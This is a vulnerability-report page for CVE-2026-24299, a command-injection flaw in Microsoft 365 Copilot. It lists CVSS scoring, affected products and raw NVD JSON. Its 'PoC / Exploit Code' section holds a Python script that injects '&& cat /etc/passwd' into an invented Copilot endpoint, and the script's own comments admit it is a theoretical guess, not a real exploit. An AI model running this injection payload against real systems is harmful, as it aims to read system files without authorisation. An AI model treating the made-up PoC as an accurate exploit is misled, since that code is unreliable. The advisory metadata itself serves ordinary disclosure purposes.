Security Vulnerability Report
中文
CVE-2026-24299 CVSS 5.3 MEDIUM

CVE-2026-24299

Published: 2026-03-19 21:17:00
Last Modified: 2026-03-24 17:19:45

Description

Improper neutralization of special elements used in a command ('command injection') in M365 Copilot allows an unauthorized attacker to disclose information over a network.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_copilot:-:*:*:*:*:*:*:* - VULNERABLE
Microsoft 365 Copilot (具体受影响版本请参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: M365 Copilot Command Injection PoC (Conceptual) # Description: Sends a payload to demonstrate command injection. # Note: This is a theoretical example based on the vulnerability description. target_url = "https://target-m365-endpoint/api/copilot/process" # Payload attempts to inject a command to read /etc/passwd payload = "legitimate_request && cat /etc/passwd" data = { "user_input": payload } try: response = requests.post(target_url, json=data) print(f"Status Code: {response.status_code}") print("Response:", response.text) # If successful, the response might contain the content of /etc/passwd except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24299", "sourceIdentifier": "[email protected]", "published": "2026-03-19T21:17:00.077", "lastModified": "2026-03-24T17:19:45.103", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Improper neutralization of special elements used in a command ('command injection') in M365 Copilot allows an unauthorized attacker to disclose information over a network."}, {"lang": "es", "value": "Neutralización incorrecta de elementos especiales utilizados en un comando ('inyección de comandos') en M365 Copilot permite a un atacante no autorizado divulgar información a través de una red."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_copilot:-:*:*:*:*:*:*:*", "matchCriteriaId": "E4A390D9-7457-430A-82CC-A24DA275BF06"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24299", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}